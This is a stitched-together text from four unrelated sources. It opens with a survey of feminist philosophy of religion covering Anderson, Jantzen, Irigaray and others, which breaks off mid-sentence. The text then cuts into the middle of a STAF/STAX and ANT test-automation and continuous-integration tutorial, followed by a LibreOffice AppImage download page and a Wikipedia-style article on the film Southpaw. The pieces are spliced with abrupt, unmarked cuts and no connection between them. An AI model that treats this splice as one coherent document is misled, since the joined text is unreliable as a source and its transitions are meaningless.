But how are feminists to talk about the material content of female desire? At just this point feminist standpoint epistemology yields to poststructuralist insights and Anderson finds in the work of Irigaray, Kristeva, and bell hooks themes that are missing in mainstream epistemology and some feminist epistemology. She articulates her philosophy of religion around “yearning” as a cognitive act of a creative and just memory. As used by bell hooks (1990), yearning is a positive act that motivates struggle in the search for personal and communal justice. It shapes a spirituality. According to Anderson, yearning is the vital reality of human life which gives rise to religious belief. Therefore, philosophical analysis of and feminist concern with reason combined with desire, as found in expressions of yearning for truth whether epistemological, ethical (justice), or aesthetic (love or beauty), need to supplement standard approaches to philosophy of religion.
One must be careful, Anderson says, not to conflate yearning with only a disguised form of the philosophical aspiration to be infinite. Her analysis of the concept of the infinite reveals a corrupt striving to become infinite or “all there is” at work in both masculinist and feminist philosophy of religion. In place of this Anderson calls for an approach that would allow instantiating the regulative ideals of truth, love, goodness, and justice as conditions for any incorrupt craving for infinitude. Humans can yearn for truth or crave infinitude while at the same time acknowledging self-consciously held and embodied locations (Anderson 2001). This means that, as other philosophers have pointed out, there is no “God's eye view,” no actual infinite (Aquinas's “actus purus”); the notion of infinity pertains only to abstract potentiality, whereas concrete actuality is incurably finite.
Questions of the justifiability of religious belief have previously been center stage in philosophy of religion. Anderson does not consider this question per se, but instead analyzes the prior question of the rational construction of belief and the production of knowledge. She considers the ways in which an exclusive focus on justification of dominant beliefs excluded women's beliefs and women's role in reasoning by assuming that only certain privileged beliefs should be assessed for their truth. At the same time she argues against any swift dismissal of justificatory questions, as well as against a strict focus on the justification of theistic beliefs. The myths of Mirabai, the legendary Hindu poetess-saint, and Antigone, the mythical figure of insurgence in Greek tragedy, are useful in understanding the notion of yearning as a rational passion linked to bodily experiences (1998, chap. 5). Anderson finds the disruptive mimings of these myths helpful for challenging the narrow parameters of empirical realist forms of theism.
Grace Jantzen issues a radical challenge to other feminist philosophers who would make epistemology, rather than psychoanalytic theory, their point of departure in studying religion and its repressed underside. (Jantzen 1999, 2004). She argues that questions about truth and the justification of religious belief can be dismissed as categories of the masculine symbolic. Going beyond Luce Irigaray, Jantzen's body of work at the time of her death in 2006 proposed nothing less than a new imaginary of religion, a feminist symbolic of “natality and flourishing” as an alternative to the category of mortality, verging on necrophilia/necrophobia, with which the western tradition has been saturated. Influenced by Hannah Arendt's work on natality and Adriana Cavarero's feminist reading of Plato, Jantzen believed that a preoccupation with death and violence subtends the masculinist imaginary. If feminist philosophy of religion is ever to transform the symbolic order which inscribes this imaginary, it is necessary to change the imaginary. For this purpose, a model of transformative change drawn from psychoanalysis and Continental philosophy of religion is more useful than a model drawn from Anglo-American adversarial modes of argumentation (Jantzen 1999, 78).
To demonstrate the extent to which the Western symbolic is saturated with violence and death, epitomized in the crucified Christ, Jantzen situated her philosophy of religion in relation to the psychoanalytic theory of both Julia Kristeva and Luce Irigaray. Their account offers a theory of one of the most important features of any religion: sacrifice. Sacrificial codes involve a forgetting/erasure of the complex role of the maternal, amounting to a “matricide” (Kristeva) at the foundation of religious practice. According to Irigaray in “Belief Itself,” the central figure of the western cultural imaginary is the unmourned and unacknowledged sacrifice of the (m)other's body that Christianity masks under the Eucharistic sacrifice of the son. According to Kristeva (1987) in “Stabat Mater,” the real symbolic association is not between women and birth, but between women and death, setting up men as cultural masters over and above mortality and its intimations in the bodies of women.
Jantzen corrected the matricidal assertion of Kristevan theory; she argued against thinking that the child's need to separate from the mother in order to become an individual is what initiates a logic of sacrifice and violence in the western symbolic. There is no imperative to sacrifice the mother in order to commence formation of the self in the cultural realm. However important separation and individuation are in subject formation, they are not proportional to death and violence. If we were to attend to natality instead, Jantzen wrote, we would be better able to create a new imaginary based on birth, life, and potentiality (Jantzen 2003). Feminist philosophy of religion should try to follow the path of desire to/for the divine, and forego the preoccupation with the rational justification of beliefs and the evaluation of truth-claims. Feminist philosophy of religion can attend better to the symbolic impact of birth rather than death as a strategy for creating a new imaginary construct that emphasizes flourishing of life rather than sacrifice of it. The norms of moral or political adequacy replace those of epistemic adequacy (Jantzen 2004).
If one asks what the ontological status of the divine is for Jantzen, one could say that it is pantheistic (see Jantzen 1999, chap. 11). As the horizon of human becoming, the divine is transcendent in the sense of the other of the world, non-reducible to statements about the world's physical characteristics. As immanent, the divine is this world; there is no other. What previously had been seen as a set of polarities now opens out into a play of diversities, bringing the divine to life through us.
Foundations of Violence, Jantzen's final publication, synthesizes her analysis of the psychoanalytic, religious, and philosophical dimensions of death and violence in Western culture, culminating in a constructive alternative (a feminine symbolic) that celebrates beauty, desire, and the creative impulse. Thanatos, a death drive, far from being a universal of human nature, as Freud believed, is a gendered construction of Western modernity, according to Jantzen, with precursors in Christendom and classical antiquity. Homer, Sophocles, Plato and Aristotle provide the genealogy of violence in Western thought that Jantzen critiques here, while Plotinus stands in for all those other-worldly seekers who gesture toward release in another world. What was to be a six-volumed study on Death and the Displacement of Beauty in the western tradition can be comprehended in incipient form in Jantzen 1999.
Pushing with and against Lacanian and Freudian theories, Jantzen (2002), Armour (2002), and Hollywood (2002, 2004) offer three important readings of Irigaray's essay “Belief Itself” (1993b). These feminist readings rely on critical appropriations of psychoanalysis and Derridean reading practices to re-assess a topic that stands at the center of much modern philosophy of religion. Belief and its formation, they show, is implicated in the formation of the subject and sexual difference, as well as related issues of embodiment and presence and absence. The argument is not only the familiar feminist one that the object of belief is male-defined, but the more radical claim that the structure and discourse of belief itself is masculinist and in need of deconstruction. That is to say that the constitution of the normative (Western, bourgeois) subject of religion and philosophy depends on the association of the body with the mother and femininity and an always incomplete and ambivalent mastering, concealment, or denial of the mother's body. Freud's own account of the fort/da game (“gone”-“there”) played by his grandson, Ernst, exposes the relationship between belief and the little boy's mastery of the mother's presence and absence, concealedness and unconcealedness. Despite her apparent absence, she is there, the boy comes to believe, and in so believing he experiences his own power. For Irigaray (1993b), God, as the Father and the source of meaning, emerges as the object of a belief first articulated in the (male child's) attempt to master the mother's absence; the dismantling of the subject as master, then, implies a concomitant deconstruction of the object of belief. For Armour (2002), the implications of this reading on the other side of ontotheology entail a challenge to any narrow definition of ontotheology or too-easy hope that it might swing free of logocentrism and phallocentrism. The wound at the heart of normative masculine subjectivity, evident in Derrida's display of his dying mother's body in his essay “Circumfession,” is an effect of the current sacrificial economy on the mother/son relationship. As Armour suggests, “working from the recognition of a primordial maternal sacrifice (rather than belief in a transcendent Father God) requires confrontation with pain and loss, not compensation for them” (Armour 2002, 223). For Hollywood, a further implication concerns the renewed attention to the place of ritual and practice in religion. Not only do religious rituals, bodily practices, and discursive performatives construct gender but they also construct the very objects of religious belief. Her proposal that, as constituted, gender and the objects of religious belief have a similar ontological status re-opens a crucial question that many feminist philosophers of religion have finessed. The ontological status of objects of belief, especially deliberately projected ones, cannot be fully understood without bringing back into the picture the body, emotion, and desire as shaped by ritual practices (Hollywood, 2004).
The body, a recurrent theme in a variety of recent interdisciplinary studies, figures as the material or symbolic basis for much feminist philosophy of religion, in contrast to the fiction of disembodied subjectivity that marks mainstream modern epistemology.
One such body-based study, Howard Eilberg-Schwartz's work, God's Phallus and Other Problems for Men and Monotheism (1994), is indicative of a new alliance of philosophy of religion with gender studies and social theory, rather than with natural theology and speculative metaphysics. Dozens of feminist studies have explored the way in which male deities authorize male domination and undermine female experience in the social order. Left unconsidered was the question whether a male divinity generates certain dilemmas and tensions for the conception of masculinity, rendering its meaning unstable. Pursuing this question, Eilberg-Schwartz overturns the conventional assumption that Jewish monotheism centered on an invisible, disembodied deity. His analysis of numerous myths shows that ancient Israel did image God in human form, while at the same time veiling the divine phallus.
Two consequences in particular arise for masculinity in a religious system that imagines a male deity with a phallus. First, the dilemma of homoerotic desire is posed when men worship a male God in a culture based on heterosexual complementarity. Although the expression of divine-human intimacy is couched in the language of male-female complementarity, it is males, not females, who enter into the covenantal marriage with the deity. Collectively, Israelite men were constituted discursively as “she,” and said to be “whoring” when they strayed from monotheism (monogamy) into idolatry (adultery). Suppression of the homoerotic impulse in the divine-human relationship, however, could take several forms: hiding and veiling the body of God through prohibitions against depicting God; feminizing Israelite males so that they could assume the role of God's wife; and exaggerating the way in which women are “other” so as to minimize the ways in which men are made into others of God.
The solution of imagining Israel as a metaphorical woman, in an exclusive relation to the divine maleness, may have solved the first dilemma of homoerotic desire only by generating another. The second major dilemma for masculinity, according to Eilberg-Schwartz, is posed by being made in the image of a sexless Father God in a culture defined by patrilineal descent. The sexlessness of a Creator Father God sets up major tensions for men who must pro-create. In contrast to the Christian religion, whose different logic of a God fathering a Son could render a human father irrelevant, Hebrew logic placed great importance on the human father, generating tension around a Father God who was thought to be sexless and therefore without a son. When the dilemma of homoerotic desire is posed later for Christian men in relation to a male Christ's body, it, too, is avoided by speaking collectively of the Christian community as a woman.
Feminist philosophy of religion has yet to explore fully the question of how a male God is problematic for men's conceptions of self, according to Eilberg-Schwartz. It has also left unthought the difference between God as male and God as Father. Strict focus on the ways in which a masculine image of God undermines female experience tends to conflate human and divine masculinities into one undifferentiated symbol. Eilberg-Schwartz differentiates between images of male deities and images of father deities, contending that the maleness of God may have different implications than the fatherliness of God. Fatherly images of God can and should be used, he argues, “but only if equally powerful female images are also celebrated” (1994, 239). Repudiating the incorporeal, distant God that helped to generate the hierarchical associations of masculinity and femininity, he favors an image of “a tender loving Father who faces and embraces the child,” in the apparent expectation that a loving and embodied God may support a different kind of masculinity, one more capable of intimacy and tenderness (1994, 240).
Poststructuralist criticism as it studies the webbed relations of language, experience, power, and discourse still leaves some open and untheorized space in the links among these terms. Mary McClintock Fulkerson's Changing the Subject: Women's Discourses and Feminist Theology (1994), fills those gaps and challenges three inadequate notions of language, gender, and power: (1) the idea that linguistic signs re-present the thing; (2) the Cartesian assumption of the subjective consciousness as the origin of meaning; and (3) the understanding of power only in terms of external, unidirectional, and negative oppression. Poststructuralist method also critiques the liberal logic of inclusion that appeals to “women's experience” or “women's religious experience” as though it is an unproblematic or uncoded content of some kind. All such strategies and methods, Fulkerson shows, fail to recognize and account for the multiplicity of differences among myriad subject positions. In contrast to the liberal humanist goal of accommodating as many “different voices” as possible, discourse analysis seeks a more radical reading of the ways “voice” itself is produced and knowledge is power. Taking into account the inextricable and multiplicative character of the link between knowledge and the social relations out of which knowledge emerges changes the question, as well as the subject, according to Fulkerson. The question is not, for example, whether a given religious belief system is oppressive or liberating to women. Such generic and wholesale frames need to be replaced by more complex appreciation of the construction of multiple identities according to different locations in the social formation of patriarchal capitalism.
Fleshing out the multiple orderings that create differences in women's positions should result in a clarification of what is at stake in appeals to “women's experience,” often taken as a “source” and/or “norm” for feminist thought in an earlier generation of texts. Rather than as a “content” that is representative of a natural realm of women's consciousness, religious or otherwise, “women's experience” should be understood as constructed from “converging discourses, their constitution by differential networks, and their production of certain pleasures and subjugations” (Fulkerson, 115) Experience is not the origin of (feminist) philosophy of religion in the sense of offering evidence for its claims, but the very reality that needs to be explained. Similarly, in theorizing the link, for example, between the maleness of divine imagery and the legitimation of male dominance, what needs to be explained is how the maleness of divine imagery gets distributed and interrelated with material realities, and how the discourse itself carries out the oppression of women.
Once the false universal of “women's experience” or “human experience” is replaced with an “analytic of women's discourses,” feminist philosophers of religion can begin to consider the specific productions of positions for women, asking such questions as: “What discourses construct the middle-class white churchwoman's positions? The poor Pentecostal woman preacher's? The liberal academic liberation feminist's?” In her investigations of Appalachian Pentecostal women preachers' discourse and of the discourse of Presbyterian women's groups, Fulkerson sees two very diverse women's subject positions wrestling with a religious tradition in ways both liberating and constraining. Approaching the world of faith as a system of discourses, rather than as representational interpretations or cognitive belief claims, she displays how women's faith positions can be constitutive of their emancipatory practices. The call stories and worship performances of poor Pentecostal women ministers, accompanied by ecstatic and bodily displays of joy, produce particular forms of resistance to patriarchal constraints, just as the faith practices of middle class Presbyterian housewives produce other possibilities for transgression, pleasure, and desire.
One merit of this methodology for feminist philosophy of religion is its exposure of the complexity of gender discourse, the constraints and resistances found in faith practices, and the social conditions of signification. It creates space in which it is possible to ask what philosophy of religion has occluded from its angle of vision by virtue of the abstract and distanced discourse that has characterized it.
One drawback of poststructuralist accounts of discourse, according to some feminists, is that it rules out the possibility that claims can be validated outside of particular communities and their languages. Fulkerson appeals to nonfoundationalism, the position that eschews the search for justifying beliefs or experiences that can in turn support other beliefs derived from them. She says that she does not find it necessary to offer reasoned arguments for the faith claims she invokes. The pertinent discursive practices she analyzes are those of resistance, survival, agape, and hope—practices, she freely admits, that assume the existence of God rather than problematize it. What remains an open question for this avenue of feminist philosophy of religion is how far discourse analysis can go toward ever subverting the belief structures of Pentecostal women ministers or Presbyterian housewives, indeed, how it could even be theoretically possible for it to do so.
In the North American context, a convergence of feminist and pragmatist agendas is emerging, with important implications for feminist philosophy of religion. Indebted to the pioneering work of Charlene Haddock Seigfried (1996), and recent studies by McKenna (2001) and Sullivan (2001), pragmatist-feminist philosophy of religion is distinguished by several features. First, on its philosophical side, both pragmatist philosophy and feminism share a strong critique of scientistic positivism; resistance to fact-value dichotomies; reclamation of the experiential and epistemic import of aesthetics; analyses of dominant discourses in light of forms of social domination; linkage of theory and practice; interest in the theoretical primacy of concrete experience; repudiation of the spectator stance of philosophical indifference; and an interrogation of the social-political effects of the social sciences. Second, on its religious side, the pragmatist tradition offers untapped resources for feminist reconstruction, ranging from the explicit philosophies of religion in the classical writings of Peirce, James, Dewey, Santayana, and Mead, to the implicit ones in the current revival of pragmatism on both sides of the Atlantic. The religious import of American pragmatism in its first millennium is best understood as a naturalization of traditional notions of transcendence and spirituality rather than, as its critics charge, an abdication of any hopes of transcendence at all. According to one interpreter (Stuhr 2003), pragmatism has relocated traditional notions of transcendence within immanence, relocated spirit within nature, relocated absolutes within inquiry, relocated affirmation within negation, and relocated salvation within community, a description that applies equally to the relocation effort performed in feminist philosophies of religion. The end result of these combined naturalization processes should yield something new to philosophy of religion: “truth without the problems of certainty; justification without the problems of foundations; nature and access to it without the problems of supernaturalism or solipsism; values without the problems of absolutism or arbitrariness; and distinctively religious or spiritual experience without idealism, dualism, or institutional religion” (Stuhr 2003, 194).
Feminist scholarship in general has had a hard time with religion. And mainstream philosophy of religion until recently has had a hard time with feminist scholarship.
Going forward in the twenty-first century, three particular questions stand out. The most significant question on the agenda for future reflection concerns religious pluralism and the need to overcome the extreme ethnocentrism of Anglo-American philosophy of religion. Insofar as the field faces the challenge of encounter with traditions expressing practices and beliefs that are not predominantly associated with European, white, or male modes of understanding, it will be required to elaborate new models of interpretation, a broader theory of evidence, a cross-culturally
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.dir}" fork="yes" forkmode="once" printsummary="on" haltonfailure="no" haltonerror="no" showoutput="true" failureproperty="ut.failed"> <jvmarg value="-Djava.util.logging.config.file=${java.util.logging.config.file}"/> <sysproperty key="net.sourceforge.cobertura.datafile" file="{net.sourceforge.cobertura.datafile}" /> <classpath refid="junit.tmp.classpath" /> <test name="${cvt.test.class}" haltonfailure="no" outfile="TEST-${cvt.test.class}" todir="${output.dir}"> <formatter type="xml"/> </test> </junit> <fail if="ut.failed" message="Some of the tests failed. Check the JUnit report for details." /> </target> </project>
The property net.sourceforge.cobertura.datafile can be used to generate coverage information (see Cobertura project for more information). You can provide this property value in parameter jvm_args from function run_junit_ant.
Collect information (results, coverage information, logs)
Again, the transference of compressed files is more efficient than transferring single files one by one. To compress a directory in a remote machine, use the ZIP request. In Listing 10, the directory 'C:/CVT_TEMP/CVT/logs' into ZIP file 'C:/CVT_TEMP/testcase_123_results.zip' is compressed in machine mach_name.
Listing 10. Using the ZIP request to compress a directory in a remote machine
<script> zip_file = 'C:/CVT_TEMP/testcase_123_results.zip' results_dir = 'C:/CVT_TEMP/CVT/logs' </script> <stafcmd name="'Compressing results'"> <location>mach_name</location> <service>'ZIP'</service> <request>'ADD ZIPFILE %s DIRECTORY %s RECURSE RELATIVETO %s' % \ (zip_file, results_dir, results_dir)</request> </stafcmd>
After compression, you can retrieve the results with the request COPY FILE in Listing 11:
Listing 11. Using the request COPY FILE
<script> local_results_dir = 'C:/CVT_TEMP/results' </script> <stafcmd> <location>mach_name</location> <service>'FS'</service> <request>'COPY FILE %s TODIRECTORY %s' % (zip_file, local_results_dir)</request> </stafcmd>
Firewall problems might arise when you run tests on machines that are spread across different networks. A safer approach is to use the GET BINARY request to retrieve the whole file in binary form as a result from the call. The advantage is that the remote machine is not required to resolve and access the local machine. The disadvantage is that you might not be able to retrieve large files without breaking them into smaller pieces before the transference.
Free up resources
The request to delete directories is straightforward. Specify the directory to be removed and the machine where the directory is located, as in Listing 12:
Listing 12. Requesting directory deletion
<stafcmd name="'Delete remote directory'"> <location>mach_name</location> <service>'FS'</service> <request>'DELETE ENTRY %s RECURSE CONFIRM' % \ (file, ignore_param)</request> </stafcmd>
To delete databases, stop servers, or take other actions, use the process element as explained in Listing 12.
Build reports with results (JUnit reports)
For generating a JUnit report, employ the same approach as for running JUnit test cases: Create an auxiliary ANT project to start the tasks that create the JUnit report, as in Listing 13:
Listing 13. Creating an auxiliary ANT project
<project name="cvt.junit.report" basedir="."> <target name="junit.report"> <echo message="Generating JUnit Report at ${junit.report.todir}"/> <echo message="Reading results from ${junit.report.dir}"/> <mkdir dir="${junit.report.todir}" /> <junitreport todir="${junit.report.todir}"> <fileset dir="${junit.report.dir}"> <include name="TEST-*.xml" /> </fileset> <report todir="${junit.report.todir}" /> </junitreport> <echo message="JUnit Report Generated"/> </target> </project>
To start the script, call it through the process element:
Listing 14. Starting a script through the process element
<script> from java.io import File f = File(STAXJobXMLFile) ant_script = File(f.getParentFile(),'utilities/JUnitReport.xml').getAbsolutePath() ant_script = ant_script.replace('\\','/') java_envs = '' java_envs = '%s -Djunit.report.todir=%s' % (java_envs, output_dir) java_envs = '%s -Djunit.report.dir=%s' % (java_envs, work_dir) parms = '%s -f %s junit.report' % (java_envs, ant_script) </script> <process name="'cmd %s %s' % (ant_cmd, parms)"> <location>mach_name</location> <command mode="'shell'">ant_cmd</command> <parms>parms</parms> <workdir>work_dir</workdir> <console use="console" /> <stdout>stdout</stdout> <stderr>stderr</stderr> <returnstdout /> <returnstderr /> </process>
Store the results locally or in a remote server (using FTP or a shared folder)
After you run all reports useful for verifying the tests results, compress them in one or more files. Access to the results might be easier if you store them on a web server so developers and testers have immediate access to them. See an example in Listing 15.
Listing 15. Compressing reports
<stafcmd> <location>'local'</location> <service>'FTP'</service> <request>'PUT HOST %s URLPATH %s FILE %s USER %s PASSWORD %s' % \ (CVT_FTP_SERVER, remotePath, localPath, ftp_user, ftp_passwd) </request> </stafcmd>
Send notifications (emails)
You can use the EMAIL service to send notifications about incremental or regression tests to developers or testers. The configuration of the service in staf.cfg (STAF configuration file at bin directory) is simple. It requires just an email server and the path to the JAR file that contains the service implementation. You can download the files from the STAF download page, as follows:
SERVICE email LIBRARY JSTAF EXECUTE c:/staf/services/email/STAFEmail.jar \ PARMS "MAILSERVER na.relay.ibm.com"
Listing 16 shows the structure of the send email request:
Listing 16. Structure of the send email request
<stafcmd name="'send_email'"> <location>'local'</location> <service>'EMAIL'</service> <request>email_cmd</request> </stafcmd>
where email_cmd is in the format (from the Email Service User's Guide) as in Listing 17:
Listing 17. Format for email_cmd
SEND < TO <Address> | CC <Address> | BCC <Address> >... [FROM <[email protected]>] [CONTENTTYPE <contenttype>] < MESSAGE <Message> | FILE <File> [MACHINE Machine] > [SUBJECT <subject>] [NOHEADER] [TEXTATTACHMENT <file>]... [BINARYATTACHMENT <file>]... [ATTACHMENTMACHINE <machine>] [RESOLVEMESSAGE | NORESOLVEMESSAGE] [AUTHUSER <User> AUTHPASSWORD <Password>]
Using continuous integration with STAF/STAX
From a developer perspective, continuous integration consists of frequently integrating new code and changes into the code repository, and continuously verifying that the changes do not break existing code.
Verification is normally performed by an automated build system, which can detect when changes occur or run builds at scheduled times. The build verifies possible code breaks, and preferably runs a set of unit tests to verify that basic functions were maintained. Builds can happen often or take a long time to run. You normally do not want to include component tests in a continuous integration system, since it is too much to run every build.
One possible solution for running component tests continuously is a separate system. The system runs automated tests against the current code base or runs specific tests upon request. Consider running a single loop, through STAX, that:
Retrieves the latest production and test image Verifies whether a prescheduled regression is scheduled Detects changes in the test code (STAX script for each test case) Verifies whether a request from an incremental test is scheduled
Perform regression tests once a day, comprising all tests. Incremental tests can be run whenever there is a code change, like a fix or new feature, that must be tested. For example, to test a new parameter to an existing command-line interface, run an incremental test that is specific for this command-line interface. Running incremental tests increases team productivity as they provide for identification of failures sooner that waiting for a nightly regression.
To verify whether an image (bundle containing software to be tested, or test resources) was updated, retrieve the file modification time and compare it with a previous modification time stored in a local file. The Python command to retrieve the modification time of a file in an FTP server is:
ftp.cwd(ftp_url_path) ftpMDTM = ftp.sendcmd('MDTM %s' % file) #Example of result: '213 20101129060511'
If the file was modified since the last verification, you can download it using either STAX FTP service, or the Python FTP module. The verification of whether it is time for running a regression can be as simple as comparing the current time to the schedule. If the current time is older than the time of schedule, run the regression.
A more complex function is the ability to run incremental tests. An incremental test is a request for running a list or a predefined group of test cases in a chosen set of environments. One possible implementation is to periodically verify whether new requests are in a file that is shared with the web server. You can use an HTML page made available by a local web server to include requests in this file, containing information such as:
The request (a predefined group or a list of individual test cases)
The product version
The list of environments where to run the test cases
sessionID
Identification of the request
Other internal information that is needed to handle the request
In the following example, the code displays on multiple lines to meet format restrictions. Normally it is a single line of concatenated code.
t||testcase_nop||FRS-1.0.0||LinuxDB2Websphere85,ZLinuxDB2Websphere8||false||true| |4EF60DC3B825707D6BAE349047B4E664||[email protected]||ready||20121023220123||default
Figure 1 shows an example of page that is used to request incremental tests.
Figure 1. Request page
Using a web server like Apache Tomcat as an interface with the STAF/STAX script running the continuous integration allows expansion of the number of options for the final user, for example:
Add the ability to specify customized images (images that are generated locally by a developer/tester/support analyst)
Add the ability to download images directly from an FTP server
Cancel a request under execution
Visualize STAX user logs for the current execution
Visualize logs and history, and other reports
Figure 2 shows an implementation of the main page with links to the main functions in the system. A web server is also useful to show the status of the integration system, such as:
The test case under execution
The start time
The requester
The environments under test
Links to the results (when the test is already finished)
Figure 2. Main index of the continuous integration system
Figure 3 shows the page where the user can access the results from previous executions, which are organized by environment name. The results contain information like test case logs, JUnit reports, coverage reports, and any other useful information that is generated by the tests. Notice the six environments in the report. All test cases run nightly in these environments, and are available during the day for incremental tests. Among the available environments are a Linux for System z, Windows, and Linux (Red Hat) machines. New environments can be plugged into the system by creating a properties file for each new environment.
Figure 3. Access to regression logs
A continuous integration system that contains the basic functions can gradually build following this sequence:
STAX script to run individual test cases in a machine STAX script to run multiple test cases in multiple environments after updating/preparing them STAX script to run the script above nightly Ability to run incremental test through an HTTP page and status page to visualize current execution
Conclusion
One significant advantage of using STAF/STAX to build both the test cases and the infrastructure for continuous integration is the flexibility to grow the test automation system as needed, by creating new functions and scripts that you can integrate into it. When a project adopts agile development with the capability to automate all tests with STAF/STAX and integrate them in a continuous integration system, you can test new functions or fixes in a timely fashion. Also, the execution, upon user request, of incremental tests across a set of different environments in parallel can shorten development time and boost software quality.
Downloadable resources
Related topicsWelcome
6.3.0.0 alpha0 (daily), go to page to download the package.
Release date: 2019-Feb-10 00.51.32 [86-TDF]
not available pre-release
6.1.5 (Still), go to page to download the package.
6.2.0 (Fresh), go to page to download the package.
Today, you can test or use LibreOffice in your Gnu/Linux distribution
without the need of going through the installation process. How? With AppImage, a format for distributing portable software on Linux without the need of superuser permissions to install the application.
Do you want to try?
LibreOffice Stable version (Fresh and Still)
LibreOffice Pre-releases version
LibreOffice Daily version
Download the file, make it executable by flagging the option in the “Properties” panel (to access it, right-click on the icon), and enjoy the application! No need to install the software. No system libraries or system preferences altered in the process.
The versions of LibreOffice you can download are 64-bit ones, in some language. If you want the 32-bit version or another language please contact me antonio.faccioli [at] libreoffice [dot] org.
Video build LibreOffice AppImage VersionSouthpaw is a 2015 American sports drama film directed by Antoine Fuqua, written by Kurt Sutter and starring Jake Gyllenhaal, Forest Whitaker and Rachel McAdams. The film follows a boxer who sets out to get his life back on track after losing his wife in an accident and his young daughter to protective services. The film was released on July 24, 2015, by The Weinstein Company.
The film marked one of the last films to be scored by James Horner, and one of three posthumous releases to feature his music. The film and the film's soundtrack album are dedicated to his memory.
Plot [ edit ]
Billy "The Great" Hope is an undefeated professional boxer living in the suburbs of New York City with his wife Maureen and their daughter Leila. Billy's particular style of fighting often leaves him beaten and bruised. During a match in which he defends his light heavyweight world title, Billy sustains an eye injury as well as heavy blows to the face and body, leaving him coughing up blood for days. He is finally convinced by Maureen to retire before he becomes forever "punch-drunk". During the press conference at the post-match, an up-and-coming boxer Miguel "Magic" Escobar taunts Billy and tries to get Billy to fight him. At a charity event for the orphanage where he and his wife both grew up, Escobar is in attendance, and as Billy is leaving, Escobar threatens he'll take Maureen and his title away from him, and while Maureen tells Billy to let it go and go home with her, Billy's anger gets the best of him, leading to a brawl in which Maureen is accidentally shot and killed by Miguel's brother Hector, who flees.
Billy begins abusing alcohol and drugs while obsessively searching for Hector. He eventually gets a tip about Hector's whereabouts but only finds Hector's drug-addicted wife Maria, and leaves after learning Hector is a father. Billy attacks a referee out of frustration after throwing a fight and is suspended for a year, leaving him with no income and a six figure fine for ref assault. Furthermore, the networks are suing him for breach of contract, leaving him indebted and his house and belongings being repossessed. He continues to spiral out of control and nearly dies after crashing his car in a suicide attempt; he loses custody of Leila as a result, and she is put under care of Child Protective Services officer Angela Rivera. The incident drives Billy to sober up, but Leila cuts ties with him, blaming him for their predicament.
At the behest of his friends, Billy gets a job as a cleaner at a gym owned by seasoned boxer Titus "Tick" Wills, and tries to convince Tick to become his trainer. Billy's former manager, Jordan Mains, who is currently managing Miguel, arranges a fight between the two that could put Billy back in the spotlight. Tick is reluctant to train Billy, fearful he might be blinded by his vendetta against Miguel, but is motivated to do so when another of his students, Hoppy, is killed by his abusive father while attempting to defend his mother.
Seeing Billy's hard work after securing a job and keeping it, and his ability to show responsibilities of a father, a judge removes his visitation restrictions and congratulates him for his good work. Billy then takes Leila to his apartment where they have breakfast together and Leila asks if she can attend the fight. Billy, reluctant to let his daughter go to the fight because Maureen never wanted to expose their daughter to the violence in boxing, says he is unsure because Maureen used to make all the decisions for him. Leila asks if they can go visit Maureen's grave, where Leila convinces Billy to let her go to the fight to have someone by his side. Billy tells Leila that there will be people at the fight saying some harsh things, so Leila makes an agreement to go to the fight but stay only in the locker room with Angela, watching the fight via closed circuit television in the locker room.
As the match begins, Miguel has the upper hand against Billy, but, with Tick's advice, Billy has the chance to turn the tables in the final round by using the Philly shell defense and countering more aggressively with his left. As the round reaches its final minute, Billy pivots hard and, although fighting from a traditional stance, delivers a powerful left uppercut which knocks the champion down to the ground. Miguel manages to get up before the count is over and is saved by the bell. Billy is declared the winner by a split-decision and reunites with Leila in the locker room, where she forgives his past mistakes and they embrace.
Cast [ edit ]
Production [ edit ]
Eminem was originally supposed to play the role of Billy Hope. The film's screenwriter Kurt Sutter said the project was inspired by the rapper's personal struggles. He stated that he had taken meetings with Eminem's producing partners over the past seven years, looking for something to do together. "I know he's very selective and doesn't do a lot. But he shared so much of his personal struggle in this raw and very honest album, one that I connected with on a lot of levels. He is very interested in the boxing genre, and it seemed like an apt metaphor, because his own life has been a brawl. In a way, this is a continuation of the 8 Mile story, but we are doing a metaphorical narrative of the second chapter of his life. He'll play a world champion boxer who really hits a hard bottom, and has to fight to win back his life for his young daughter. At its core, this is a retelling of his struggles over the last five years of his life, using the boxing analogy. I love that the title refers to Marshall being a lefty, which is to boxing what a white rapper is to hip hop; dangerous, unwanted, and completely unorthodox. It's a much harder road for a southpaw than a right-handed boxer."[12] Producers Alan and Peter Riche have given a slightly different story about Eminem's involvement however stating that they set out to make a boxing movie similar to The Champ but wanted to make the story about a father-daughter relationship as opposed to The Champ's father-son story.[13] Recalling Eminem's strong relationship with his daughter, they asked him and he was immediately receptive.[13]
On December 13, 2010, DreamWorks acquired the script, with Eminem eyed to play the lead role,[12] however the following August the studio dropped the project.[14] Metro-Goldwyn-Mayer picked up the film that October.[15] in December 2012, Eminem dropped out of the film to focus instead on his music.[16] Antoine Fuqua signed on to the project in March 2014 with Jake Gyllenhaal replacing Eminem.[5] Other casting news was announced in May 2014 with Forest Whitaker, Lupita Nyong'o, and Rachel McAdams officially joining the cast.[6] In August of that year, it was announced that Naomie Harris would be replacing Nyong'o.[17]
Gyllenhaal did research for his role by doing "tons of reading on boxers, orphan boxers, the spirit of gyms all over America, children who start early, [and] the history of foster care in America"[18] while also spending five months training as a boxer.[18] Eminem would later praise Gyllenhaal's performance, noting that "Jake smashed it" in an interview with Zane Lowe.[13]
Southpaw marks the first investment in an American film by Wanda Pictures, a division of Wang Jianlin's Chinese conglomerate Dalian Wanda Group.[2] Principal photography began on June 16, 2014.[19] Filming took place in Pittsburgh and Indiana, Pennsylvania, and sets in New York City.[20][21]
Release [ edit ]
The film had its world premiere at the 2015 Shanghai International Film Festival on June 15, 2015, where it was in competition,[22] and was released on July 24, 2015, by The Weinstein Company.[23]
Reception [ edit ]
Box office [ edit ]
Southpaw grossed $52.4 million in North America and $38.5 million in other territories for a total gross of $92 million, against a budget of $25 million.[4]
In its opening weekend, the film grossed $16.7 million from 2,772 theaters, finishing 5th at the box office.[24]
Critical response [ edit ]
The review aggregator website Rotten Tomatoes gives the film a rating of 60%, based on 222 reviews, with a rating average of 6/10. The site's critical consensus reads, "Jake Gyllenhaal delivers an impressively committed performance, but Southpaw beats it down with a dispiriting drama that pummels viewers with genre clichés."[25] On Metacritic, the film has a score of 57 out of 100, based on 42 critics, indicating "mixed or average reviews".[26] On CinemaScore, audiences gave the film an average grade of "A" on an A+ to F scale.[27]
